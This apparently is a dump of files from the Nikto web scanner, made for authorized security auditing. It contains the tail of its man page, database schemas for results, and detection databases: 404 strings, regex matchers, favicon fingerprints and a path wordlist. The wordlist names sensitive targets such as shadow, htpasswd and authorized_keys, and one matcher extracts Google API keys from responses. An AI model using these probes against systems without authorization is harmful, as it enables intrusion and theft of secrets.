10 seconds\&. .RE .PP \fB\-Tuning\fR \fIoptions\fR .RS 4 Tuning options will control the test that Nikto will use against a target\&. By default, if any options are specified, only those tests will be performed\&. If the "x" option is used, it will reverse the logic and exclude only those tests\&. Use the reference number or letter to specify the type, multiple may be used: .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 0 \- File Upload .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 1 \- Interesting File / Seen in logs .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 2 \- Misconfiguration / Default File .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 3 \- Information Disclosure .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 4 \- Injection (XSS/Script/HTML) .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 5 \- Remote File Retrieval \- Inside Web Root .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 6 \- Denial of Service .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 7 \- Remote File Retrieval \- Server Wide .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 8 \- Command Execution / Remote Shell .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} 9 \- SQL Injection .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} a \- Authentication Bypass .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} b \- Software Identification .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} c \- Remote Source Inclusion .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} d \- WebService .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} e \- Administrative Console .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} x \- Reverse Tuning Options (i\&.e\&., include all except specified) .RE .RE .PP \fB\-url\fR \fItarget\fR .RS 4 Target host/URL (alias of \-host)\&. .RE .PP \fB\-Userdbs\fR \fItype\fR .RS 4 Load only user databases, not the standard databases\&. Options: all (Disable standard dbs and load only user dbs), tests (Disable only db_tests and load udb_tests)\&. .RE .PP \fB\-useragent\fR \fIstring\fR .RS 4 Over\-rides the default useragent\&. .RE .PP \fB\-useproxy\fR \fIproxy\fR .RS 4 Use the HTTP proxy defined in the configuration file, or given as argument in the format http://server:port\&. .RE .PP \fB\-Version\fR .RS 4 Display the Nikto software, plugin and database versions\&. .RE .PP \fB\-vhost\fR \fIhostname\fR .RS 4 Specify the Host header to be sent to the target\&. .RE .PP \fB\-404code\fR \fIcodes\fR .RS 4 Ignore these HTTP codes as negative responses (always)\&. Format is "302,301"\&. .RE .PP \fB\-404string\fR \fIstring\fR .RS 4 Ignore this string in response body content as negative response (always)\&. Can be a regular expression\&. .RE .SH "DSL MATCHERS" .PP Nikto\*(Aqs test database supports a mini\-DSL for matching responses\&. The following matchers are supported: .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} BODY: and !BODY: \(em Match or exclude content in the response body\&. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} HEADER: and !HEADER: \(em Match or exclude content in HTTP headers\&. .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} COOKIE: and !COOKIE: \(em Match or exclude content in HTTP cookies\&. (NEW) .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} CODE: and !CODE: \(em Match or exclude HTTP status codes\&. .RE .PP You can combine multiple matchers with && (AND)\&. Example: .sp .if n \{\ .RS 4 .\} .nf BODY:login&&!BODY:logout&&HEADER:X\-Powered\-By&&COOKIE:sessionid .fi .if n \{\ .RE .\} .PP This will match if the response body contains "login", does not contain "logout", the headers include "X\-Powered\-By", and a cookie named "sessionid" is present\&. .SH "FILES" .PP nikto\&.conf .RS 4 The Nikto configuration file\&. This sets Nikto\*(Aqs global options\&. Several nikto\&.conf files may exist and are parsed in the below order\&. As each configuration file is loaded is supersedes any previously set configuration: .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} System wide (e\&.g\&. /etc/nikto\&.conf) .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Home directory (e\&.g\&. $HOME/nikto\&.conf) .RE .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} Current directory (e\&.g\&. \&./nikto\&.conf) .RE .RE .PP ${NIKTO_DIR}/databases/db* .RS 4 Database files that nikto uses to check for vulnerabilities and issues within the web server\&. .RE .PP ${NIKTO_DIR}/plugins/*\&.plugin .RS 4 All nikto\*(Aqs plugins exist here\&. Nikto itself is just a wrapper script to manage CLI and pass through to the plugins\&. .RE .PP ${NIKTO_DIR}/templates .RS 4 Contains the templates for nikto\*(Aqs output formats\&. .RE .SH "BUGS" .PP The current features are not supported: .sp .RS 4 .ie n \{\ \h'-04'\(bu\h'+03'\c .\} .el \{\ .sp -1 .IP \(bu 2.3 .\} SOCKS Proxies .RE .SH "AUTHORS" .PP Nikto is written and maintained by Chris Sullo and David Lodge\&. See the main documentation for other contributors\&. .PP All code is Copyright CIRT, Inc\&., except LibWhisker which is Copyright (c) 2009, Jeff Forristal (wiretrip\&.net)\&. Other portions of code may be (C) as specified\&. .SH "SEE ALSO" .PP \m[blue]\fBNikto Homepage\fR\m[]\&\s-2\u[1]\d\s+2 .SH "NOTES" .IP " 1." 4 Nikto Homepage .RS 4 \%http://www.cirt.net/ .RE ================================================ FILE: documentation/nikto_schema_mysql.sql ================================================ CREATE TABLE `nikto_table` ( `id` int(11) NOT NULL AUTO_INCREMENT, `scanid` varchar(32) DEFAULT NULL, `testid` varchar(6) NOT NULL, `ip` varchar(15) DEFAULT NULL, `hostname` text DEFAULT NULL, `port` int(5) DEFAULT NULL, `tls` tinyint(1) DEFAULT NULL, `refs` text DEFAULT NULL, `httpmethod` text DEFAULT NULL, `uri` text DEFAULT NULL, `message` text DEFAULT NULL, `request` blob DEFAULT NULL, `response` mediumblob DEFAULT NULL, PRIMARY KEY (`id`) ); -- MySQL/MariaDB specific column types: -- request: BLOB (64KB limit) -- response: MEDIUMBLOB (16MB limit) -- The plugin automatically truncates data to fit within these limits: -- request: 48KB raw (fits in 64KB BLOB after base64 encoding) -- response: 12MB raw (fits in 16MB MEDIUMBLOB after base64 encoding) ================================================ FILE: documentation/nikto_schema_postgresql.sql ================================================ CREATE TABLE nikto_table ( id serial NOT NULL, scanid varchar(32) DEFAULT NULL, testid varchar(6) NOT NULL, ip varchar(15) DEFAULT NULL, hostname text DEFAULT NULL, port integer DEFAULT NULL, tls smallint DEFAULT NULL, refs text DEFAULT NULL, httpmethod text DEFAULT NULL, uri text DEFAULT NULL, message text DEFAULT NULL, request bytea DEFAULT NULL, response bytea DEFAULT NULL, PRIMARY KEY (id) ); -- PostgreSQL specific column types: -- request: bytea (theoretical limit ~1GB, practical limits apply) -- response: bytea (theoretical limit ~1GB, practical limits apply) -- The plugin automatically truncates data for performance and cross-DB compatibility: -- request: 48KB raw (matches MySQL BLOB limit) -- response: 12MB raw (matches MySQL MEDIUMBLOB limit) -- PostgreSQL bytea can store much larger data, but these limits ensure consistent -- behavior across database types and prevent performance issues with very large responses ================================================ FILE: documentation/perltidyrc ================================================ # perltidy options for nikto development # copy to ~/.perltidyrc -lp -vt=2 -pt=2 -cti=3 -bar -nolq -l=100 ================================================ FILE: program/.timestamp ================================================ 1773974668 ================================================ FILE: program/databases/db_404_strings ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### # Strings to be used for 404 content match ####################################################################### Access Failed an error Bad Request Client Authentication Remote Service could not find error has occurred Error 404 Error Occurred While Processing Request Error processing SSI file ExtendNet DX Configuration FireWall-1 message forcelogon.htm IMail Server Web Messaging Management Console name=qt id="search" size=40 value=" " No web site is configured at this address not found parameter is incorrect # IIS 5.0 500 error Please identify yourself: Reload acp_userinfo database RSA SecurID User Name Request The userid or password that was specified is not valid. # Tivoli server administrator TYPE=password # As in "" Unable to complete your request unable to open Web access denied Hack Attempts does not exist # SAP NetWeaver Wrong URL. # Cisco SSL VPN page may no longer exist page no longer exist Your session has expired # cPanel webmail no longer available Request Rejected More about this error # MS Lync 2010 No target SAP system for request # SAP web server no valid destination server available for # SAP web server unauthorized public IP address # BigIP Invalid URL # AkamaiGhost WebContentNotFound ================================================ FILE: program/databases/db_content_search ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### # Matchers can be regex and support etractors. # WARNING: these match every response--be efficient and minimal. ####################################################################### "nikto_id","references","matchstring","message" "750500","CWE-548","[iI]ndex\s[oO]f\s\/","Directory indexing found." "750501","","(Warning(?:<\/b>)?:\s+(?:include|require)(?:_once)?\()","PHP include error may indicate local or remote file inclusion is possible. The error is: $1 ." "750502","","failed to open stream: No such file or directory in (?:)?([a-zA-Z]:\\|\/)","PHP include error reveals the full path to the web root. The error is: $1 ." "750503","","mysql_p?connect\(","Potential PHP MySQL database connection string found." "750504","","pgp_p?connect\(","Potential PHP PostgreSQL database connection string found." "750505","","sqlite_p?open\(","Potential PHP SQLite database connection string found." "750506","","mssql_p?connect\(","Potential PHP MSSQL database connection string found." "750507","","Call to undefined function.*\(\) in \/","PHP error reveals file system path." "750508","CVE-2006-5272","FrameworkLog.xsl\"\\?>.*([0-2]|3\.(?:[0-5]|6\.0\.(?:[0-4]|5(?:[0-3]|4[0-5]))))","McAfee Common Management Agent version $1 found." "750509","","However, we found documents with names similar to the one you requested","The mod_speling module can reveal otherwise 'hidden' files in directories." "750510","","makes use of the Zend Scripting Language","Output from the phpinfo() function was found." "750511","","SQLSTATE\[","A database error may reveal internal details about the running database." "750512","CWE-548","jetty-dir.css\" REL=\"stylesheet\" TYPE=\"text/css\"\/>Directory: \/","Jetty directory indexing found." "750516","","plain HTTP to an SSL","You appear to be scanning an HTTPS site with HTTP. This probably isn't what you want." "750517","","plain HTTP request was sent to HTTPS","You appear to be scanning an HTTPS site with HTTP. This probably isn't what you want." "750519","","[Tt]omcat\s([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})","The Tomcat version is disclosed in error pages: $1." "750520","","\<html\>\<head\>\<title\>Remote Access Controller<\/title>","Host seems to be a Dell Remote Access Controller." "750521","https://makeawebsitehub.com/parked-domains/","parked FREE","Domain is parked at GoDaddy." "750522","https://makeawebsitehub.com/parked-domains/","courtesy of GoDaddy\.com","Domain is parked at GoDaddy." "750523","https://makeawebsitehub.com/parked-domains/","buy domain names","Domain is parked at GoDaddy." "750524","https://makeawebsitehub.com/parked-domains/","\?epl\=","Domain is parked at domainsponsor.com." "750525","https://makeawebsitehub.com/parked-domains/","Below are sponsored listings","Domain is parked at Google." "750526","https://makeawebsitehub.com/parked-domains/","doubleclick\.net\/apps\/domainpark","Domain is parked at Google." "750527","https://makeawebsitehub.com/parked-domains/","Asia Registry","Domain is parked at AsiaRegistry.com." "750528","https://makeawebsitehub.com/parked-domains/","Get a domain name","Domain is parked at Network Solutions." "750529","https://makeawebsitehub.com/parked-domains/","netsolhost","Domain is parked at Network Solutions." "750530","https://makeawebsitehub.com/parked-domains/","Page Is Under Construction","Domain is parked at Network Solutions." "750531","https://makeawebsitehub.com/parked-domains/","Sponsored Listings","Domain is parked at Voodoo.com." "750532","https://makeawebsitehub.com/parked-domains/","FUTURE HOME OF A DOTSTER","Domain is parked at Dotster." "750533","https://makeawebsitehub.com/parked-domains/","Share this \.tel","Domain is parked at Knipp." "750534","https://trufflesecurity.com/blog/google-api-keys-werent-secrets-but-then-gemini-changed-the-rules","([>\"=]AIz[\w_\.-]+)","Google API keys may now be used for Gemini API access. The key is: $1 ." ================================================ FILE: program/databases/db_dictionary ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### ADM ADMIN AggreSpy AppsLocalLogin AppsLogin BUILD CMS CVS DB DMSDump Documents Entries FCKeditor JMXSoapAdapter LICENSE MANIFEST.MF META-INF Makefile OA OAErrorDetailPage OA_HTML Program README Readme Recycled Root SQL SUNWmc SiteScope SiteServer Spy TEMP TMP TODO Thumbs.db WEB-INF WS_FTP XXX _ _adm _admin _common _conf _files _include _js _mem_bin _old _pages _private _res _source _src _test _vti_bin _vti_cnf _vti_pvt _vti_txt _www a aa aaa abc abc123 abcd abcd1234 about access access-log access-log.1 access.1 access_log access_log.1 accessibility account accounting accounts action actions active activex ad adclick add addpost addressbook adm admin admin_ adodb ads adv advanced advertise advertising affiliate affiliates agenda agent agents ajax album albums alert alerts alias aliases all alpha alumni amazon analog android announcement announcements anon anonymous ansi apac apache apexec api apis app appeal appeals append appl apple appliation applications apps apr arch archive archives array art article articles artwork ascii asdf asset assets atlassian atom attach attachment attachments attaches attic auction audio audit audits auth author authorized_keys authors auto automatic automation avatar avatars award awards awl awstats b b2b b2c back backdoor backend backup backups bandwidth bank banks banner banners bar base bash basic basket baskets batch baz bb bb-hist bb-histlog bboard bbs beans beehive benefits beta bfc big bigip bill billing binaries binary bins bio bios biz bkup blah blank blog blogger bloggers blogs board bofh book books boot bottom broken broker browse browser bs bsd bugs build buildr bulk bullet business button buttons buy buynow bypass ca cache cal calendar camel car card cards career careers cars cart carts cat catalog catalogs catalyst categories category catinfo cats ccbill cd cerificate cert certificate certificates certs cf cfcache cfdocs cfide cfusion cgi-bin cgi-bin2 cgi-home cgi-local cgi-pub cgi-script cgi-shl cgi-sys cgi-web cgi-win cgibin cgiwrap cgm-web change changed changes charge charges chat chats checkout child children chrome cisco cisweb citrix cl claim claims classes classified classifieds clear click clicks client clientaccesspolicy clients close closed closing club cluster clusters cmd cms cnf cnt cocoon code codec codecs codes cognos coldfusion columns com comment comments commerce commercial common communicator community compact company complaint complaints compliance component components compressed computer computers computing conference conferences configs console consumer contact contacts content contents contest contract contracts control controller controlpanel cookie cookies copies copy copyright core corp corpo corporate corrections count counter counters counts course courses cover cpadmin cpanel cr crack crash crashes create credits crm cron crons crontab crontabs crossdomain crypt crypto css current custom custom-log custom_log customer customers cute cv cxf czcmdcvt d daemon daily dana-na data database databases date day db_connect dba dbase dbman dbmodules dbutil dc dcforum de dealer debug decl declaration declarations decode decrypt decrypted decryption def default defaults definition definitions del delete deleted demo demos denied deny design desktop desktops detail details dev devel developer developers development device devices devs df dialog dialogs diff diffs digest digg dir directories directory dirs disabled disclaimer display django dl dm dm-config dms dms0 dns docebo dock docroot docs document documentation documents domain domains donate down download downloader downloads drop dropped drupal dummy dumps dvd dwr dynamic e e2fs ear ecommerce edge edit editor edits edp edu education ee effort efforts egress ejb element elements em email emails embed embedded emea employees employment empty emu emulator en en_US enc encode encrypt encrypted encryption eng engine english enterprise entertainment entries entry env environ environment error error-log error_log errors es esale esales etc europe event events evil evt ews ex example examples excalibur exchange exec explorer export ext ext2 extern external extras ezshopper f face faces faculty fail failure family faq faqs favorite favorites fcgi-bin feature features feed feedback feeds felix fetch field fields file fileadmin files filez finance financial find finger firefox firewall first fixed flags flash flow flows flv fn folder folders font fonts foo footer footers form formatting formmail forms forrest fortune forum forum1 forum2 forumdisplay forums forward foto foundation fr frame frames framework free freebsd friend friends frob frontend fs ftp fuck fuckoff fuckyou full fun func funcs function functions fusion fw g gadget gadgets galleries gallery game games ganglia garbage gateway gb geeklog general geronimo get getaccess getjobid gfx gid gitweb glimpse global globals glossary go goaway google government gprs grant grants graphics group groupcp groups gsm guest guestbook guests guide guides gump gwt h hack hacker hacking hackme hadoop hardcore hardware harmony head header headers health hello help helper helpers hi hidden hide high hipaa history hit hits hole home homepage hop horde hosting hosts hour hourly howto hp hr hta htbin htdoc htdocs htpasswd http httpd https httpuser hu hyper i ia ibm icat icon icons id idea ideas ids ie iframe ig ignore iisadmin iisadmpwd iissamples image imagefolio images imgs imp import important in inbound incl include includes incoming incubator index index1 index2 index_1 index_2 inetpub inetsrv inf info information ingress init inline input inquire inquiries inquiry insert install int interim intermediate internal international internet intl intranet intro ip ipc iphone ips irc is isapi iso issues it item j j2ee j2me jakarta java-plugin javadoc javascript javax jboss jdbc jigsaw jira jj jmx-console job jobs joe john join joomla journal jp jpa jre jrun json jsso jsx juniper junk jvm k kboard keep kernel keygen keys kids kill known_hosts l labs lang large law layout layouts ldap leader leaders left legacy legal lenya letters level lg library libs license licenses limit line link links linux list listinfo lists live lo loader loading loc local location lock locked log4j logfile logger logging login logins logo logoff logon logos logout logs lost lost+found low ls lucene m mac mail mailer mailing mailman mails main mambo manage management manager manual manuals map maps mark marketing master master.passwd match matrix maven mbox me media medium mem member members membership memory menu message messages messaging microsoft migrate migration mina mini minute mirror mirrors misc mission mix mlist mms mobi mobile mock mod modify mods module modules mojo money monitoring month monthly more motd move movie movies mp mp3 mp3s ms ms-sql msadc msadm msie msql mssql mta multimedia music mx my myadmin myfaces myphpnuke mysql mysqld n nav navigation nc net netbsd netcat nethome nets network networking new news newsletter newsletters newticket next nfs nice nl nobody node none note notes notification notifications notified notifier notify ns nuke nul null oa_servlets oauth obdc obsolete obsoleted odbc ode oem ofbiz office onbound online op open openbsd opendir openejb openjpa opera operations opinion oprocmgr-status opt option options oracle oracle.xml.xsql.XSQLServlet order ordered orders org osc oscommerce other outgoing outline output outreach overview owa ows ows-bin p p2p pack packages page page1 page2 page_1 page_2 pages paid panel paper papers parse partner partners party pass passwd password passwords past patch patches payment payments paypal pbo pc pci pda pdfs pear peek pending people perf performance perl personal pg phf phone phones phorum photo photos phpBB phpBB2 phpEventCalendar phpMyAdmin phpbb phpmyadmin phpnuke phps pic pics pictures pii ping pipe pipermail piranha pivot pix pixel pkg pkgs plain play player playing playlist pls plugin plugins pm poc poi policies policy politics poll polls pool pop pop3 popup porn port portal portals portfolio pos post posted postgres postgresql postnuke postpaid posts pr pr0n premium prepaid presentation presentations preserve press preview previews previous pricing print printenv printer printers priv privacy private pro problems proc procedures prod product product_info production products profile profiles profiling program programming programs project projects promo prop properties property props prot protect protected protection proto proxies proxy prv ps psql pt pub public publication publications pubs pull purchase purchases purchasing push pw pwd python q qotd qpid queries query queue queues quote quotes r radio random rdf read readme realestate receive received recharge record recorded recorder records recovery recycle recycled redir redirect reference reg register registered registration registrations release releases remind reminder remote remove removed render rendered rep repl replica replicas replicate replicated replication replicator reply report reporting reports reprints req reqs request requests requisition requisitions res research resin resize resource resources rest restore restored restricted results retail reverse reversed revert reverted review reviews right roam roaming robot robots roller room root rpc ru rule rules run rwservlet s sale sales sam samba saml sample samples sav saved saves sbin scan scanned scans sched schedule scheduled scheduling schema science screen screens screenshot screenshots script scriptlet scriptlets scripts sdk se search sec second secret section sections secure secured security seed select sell send sendmail sendto sent serial serv serve server server-info server-status servers service services servlet servlets session sessions setting settings setup shadow share shared shares shell ship shipped shipping shop shopper shopping shops shoutbox show show_post show_thread showcat showenv showjobs showmap showmsg showpost showthread sign signed signer signin signing signoff signon signout signup simple sink site site-map site_map sitemap sites skel skin skins skip sl sling sm small smile smiles sms smtp snoop soap soaprouter soft software solaris sold solution solutions source sources soutbox sox sp space spacer spam special specials sponsor sponsors spool sport sports sqlnet squirrel squirrelmail src srv ss ssh ssi ssl sslvpn ssn sso staff staging standalone standard standards star start stat statement statements static staticpages statistic statistics stats status stock storage store stored stories story strut struts student students stuff style styles submissions submit subscribe subscribed subscriber subscribers subscription subscriptions success suite suites sun sunos super support surf survey surveys sws synapse sync synced sys sysmanager system systems sysuser t tag tags tape tapes tapestry tb tcl team tech technical technology tel tele templ template templates terms test-cgi test-env test1 test123 test1234 test2 test3 testimonial testimonials testing tests texis text texts theme themes thread threads thumb thumbnail thumbnails thumbs tickets tiki tiles tip tips title tls tmpl tmps tn toc todo toggle tomcat tool toolbar toolkit tools top topic topics torrent torrents tos tour tpl tpv tr traceroute trace traces track trackback tracker trackers tracking tracks traffic trailer trailers training trans transparent transport trash travel treasury tree trees trial trunk tsweb tt turbine tuscany tutorial tutorials tv tweak type typo3 typo3conf u ubb uds uk umts union unix unlock unreg unregister unsubscribe up upd update updated updater updates upfile upfiles upload uploader uploads url urls us usa usage user userlog users usr util utilities utility utils v v1 v2 var vault vector velocity vendor ver ver1 ver2 version vfs video videos view view-source viewcvs viewforum viewonline views viewsource viewsvn viewtopic viewvc virtual vm voip vol vote voter votes vpn vuln w w3 w3c wa wap war warez way-board wbboard wc weather web web-beans web-console webaccess webadmin webagent webalizer webapp webb webbbs webboard webcalendar webcart webcasts webcgi webchat webdata webdav webdb weblog weblogic weblogs webmail webplus webshop website websphere websql webstats websvn webwork week weekly welcome whitepapers whois whosonline wicket wiki win win32 windows winnt wireless wml word wordpress work working world wp wp-content wp-dbmanager wp-includes wp-login wp-syntax wrap ws ws-client ws_ftp wtai www www-sql www1 www2 www3 wwwboard wwwroot wwwstats wwwthreads wwwuser wysiwyg x xalan xerces xhtml xmlrpc xslt xsql xxx xyzzy y yahoo year yearly youtube yt z zboard zencart zend zero zipfiles zips zoom zope zorum ================================================ FILE: program/databases/db_favicon ================================================ ####################################################################### # File Source: https://cirt.net # (c) 2001 Chris Sullo, All Rights Reserved. # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from # Chris Sullo (sullo@cirt.net) # # Note: # By submitting updates to this file you are transferring any and all copyright # interest in the data to Chris Sullo so it can modified, incorporated into this product # relicensed or reused. ####################################################################### # Example to get the md5hash: $ md5sum favicon.ico ####################################################################### "nikto_id","md5hash","description" "500017","4987120f4fb1dc454f889e8c92f6dabe","Google Web Server" "500108","c0dc2e457e05c2ce0a99886ec1048d77","Platform Computing Corporation Platform Management Console Version v2.0" "500109","92d0841188d40b6fef294cf53a8addd7","cPanel cpsrvd webmail server" "500110","9afa5d60e5ef15dc75d7662e418cac72","QNAP TurboNAS" "500111","5f09cded07bb864fd9b3d2dd72b5418e","TwonkyServer Premium 7.0.x" "500112","773669c6c97d65ac5ede9e8ea6b47116","Plex Media Server 0.9.x" "500113","46b742e6ba5d7ac03f13b312601c113f","XBMC Media Center 12.x (Web Interface)" "500114","88733ee53676a47fc354a61c32516e82","Magento Go CMS" "500115","6d2adf39ca320265830403dfc030033a","Liferay Portal" "500117","297d726681297cbf839f43a125e5c9b4","ZNC IRC Bouncer (Web Interface)" "500118","d577e9569381685b30feae22484c8344","ZNC IRC Bouncer (Web Interface)" "500151","28c34462a074c5311492759435549468","AContent" "500153","705d63d8f6f485bd40528394722b5c22","Atmail" "500154","9f500a24ccbdda88cf8ae3ec7b61fc40","Atomic CMS" "500155","5b816961f19da96ed5a2bf15e79093cb","ATutor" "500157","f51425ace97f807fe5840c4382580fd5","Beehive Forum 1.x" "500158","eb05f77bf80d66f0db6b1f682ff08bee","Biscom Delivery Server" "500159","5d27143fc38439baba39ba5615cbe9ef","Cascade Server" "500160","0c53ef3d151cbac70a8486dd1ebc8b25","Chamilo e-learning system" "500161","9939a032a9845e4d931d14e08f5a6c7c","Citrix XenApp Logon" "500162","6c633b9b92530843c782664cb3f0542d","ClipBucket" "500163","a59c6fead5d55050674f327955df3acb","CouchPotato 2.x" "500164","107579220745d3b21461c23024d6c4a3","D-Link" "500165","c86974467c2ac7b6902189944f812b9a","Domain Technology Control 0.17.x-0.24.x" "500167","d9aa63661d742d5f7c7300d02ac18d69","Dreambox WebControl" "500168","a4819787db1dabe1a6b669d5d6df3bfd","Drupal 2.x-4.x" "500170","b6341dfc213100c61db4fb8775878cec","Drupal 7.x" "500171","0a99a23f6b1f1bddb94d2a2212598628","Maraschino" "500172","51b916bdaf994ce73d3e5e6dfe2a46ee","Feng Office 2.3" "500173","d134378a39c722e941ac25eed91ca93b","FreePBX" "500174","45210ace96ce9c893f8c27c5decab10d","Fritz!" "500178","835306119474fefb6b38ae314a37943a","Horde Agora (Forum)" "500179","b64a1155b80e0b06272f8b842b83fa57","Horde Ansel (Photo Manager)" "500180","0e6a6ed665a9669b368d9a90b87976a9","Horde Gollem (File Manager)" "500182","6c18a6e983f64b6a6ed0a32c9e8a19b6","HP ProCurve Webserver" "500183","6acfee4c670580ebf06edae40631b946","Iomega StorCenter" "500184","1f9c39ef3f740eebb046c900edac4ba5","Iomega StorCenter ix2-200" "500185","37a99d2ddea8b49f701db457b9a8ffed","Iomega StorCenter ix4-200d" "500186","e7dce6ac6d8713a0b98407254ca33f80","Iomega StorCenter ix4-300d" "500187","f08d232927ab8f2c661616b896928233","Iomega StorCenter px2-300d" "500188","9d203fbb74eabf67f48b965ba5acc9a6","Iomega StorCenter px4-300d" "500189","fbd140da4eff02b90c9ebcbdb3736322","Iomega StorCenter px4-300r" "500190","fd3f689b804ddb7bfab53fdf32bf7c04","Iomega StorCenter px6-300d" "500191","8dfab2d881ce47dc41459c6c0c652bcf","Iomega StorCenter px12-350r" "500192","66dcdd811a7d8b1c7cd4e15cef9d4406","Iomega StorCenter px12-400r" "500193","a7fe149a9f2582f38576d14d9b1f0f55","LaCie Dashboard" "500197","2ba9b777483da0a6a8b29c4ab39a10b2","MagicMail" "500199","701bb703b31f99da18251ca2e557edf0","Mantis Bug Tracker 1.2.9-1.2.15" "500202","d4af3be33d952c1f98684d985019757c","Moodle 2.0 : Magazine" "500203","b88c0eedc72d3bf4e86c2aa0a6ba6f7b","NAS4Free 9.0" "500205","11abb4301d06dccc36d1b5f6dcad093e","ntop 3.3.6-5.0.1" "500206","b9d28bd6822d2e09e01aa0af5d7ccc34","ocPortal 9.0.5" "500207","eec3051d5c356d1798bea1d8a3617c51","Octopress" "500208","9c34a7481ba0c153bb3e2a10e0ea811e","OpenWebif" "500209","49bf194d1eccb1e5110957d14559d33d","OTRS" "500211","d361075db94bb892ff3fb3717714b2da","phpMyBackupPro" "500212","a456dd2bae5746beb68814a5ac977048","phpSysInfo 3.0.7" "500213","6e0c5b7979e9950125c71341e0960f65","phpSysInfo 3.0.8-3.0.12" "500214","ddcc65196f0bc63a90c885bd88ecbb81","phpSysInfo 3.0.12-3.0.20, 3.1.0-3.1.4" "500216","ba4bfe5d1deb2b4410e9eb97c5b74c9b","Puppet Node Manager" "500217","368c15ac73f0096aa3daff8ff6f719f8","Redaxscript 1.0-1.2.1" "500218","6d85758acb4f4baa4d242ba451c91026","Redmine x, Request Tracker" "500220","228ba3f6d946af4298b080e5c934487c","Roundcube Webmail 0.6-0.7 : Default, 0.8-0.9 : Classic, 0.8-0.9 : Larry" "500223","ed8cf53ef6836184587ee3a987be074a","Ruckus" "500224","f6c5f5e8857ecf561029fc5da005b6e3","Sophos Email Appliance" "500229","f682dbd4d0a18dd7699339b8adb28c0f","QNAP TurboNAS 3.8.x : Admin" "500230","7ff45523a7ee9686d3d391a0a27a0b4f","QNAP TurboNAS 4.0.x" "500231","a967c8bfde9ea0869637294b679b7251","Squid Proxy Server" "500232","bc18566dcc41a0ff503968f461c4995a","Subrion CMS" "500233","531e652a15bc0ad59b6af05019b1834a","Synology DSM 4.2" "500234","0ec12e5820517d3b62e56b9a8f1ee5bc","TradingEye" "500236","300b5c3f134d7ec0bca862cf113149d8","TVersity" "500238","8718c2998236c796896b725f264092ee","Typo3 6.1" "500239","7350c3f75cb80e857efa88c2fd136da5","Ushahidi" "500240","2e5e985fe125e3f8fca988a86689b127","VISEC" "500241","d90cc1762bf724db71d6df86effab63c","vtiger CRM" "500242","b14353fafda7c90fb1a2a214c195de50","webERP" "500243","18fe76b96d4eae173bf439a9712fa5c1","WikiWebHelp" "500244","e44d22b74f7ee4435e22062d5adf4a6a","WordPress 2.x" "500245","3ead5afa19537170bb980924397b70d6","WordPress 3.x : Twenty Ten" "500246","28a122aa74f6929b0994fc544555c0b1","WordPress 3.2-3.x : Twenty Eleven" 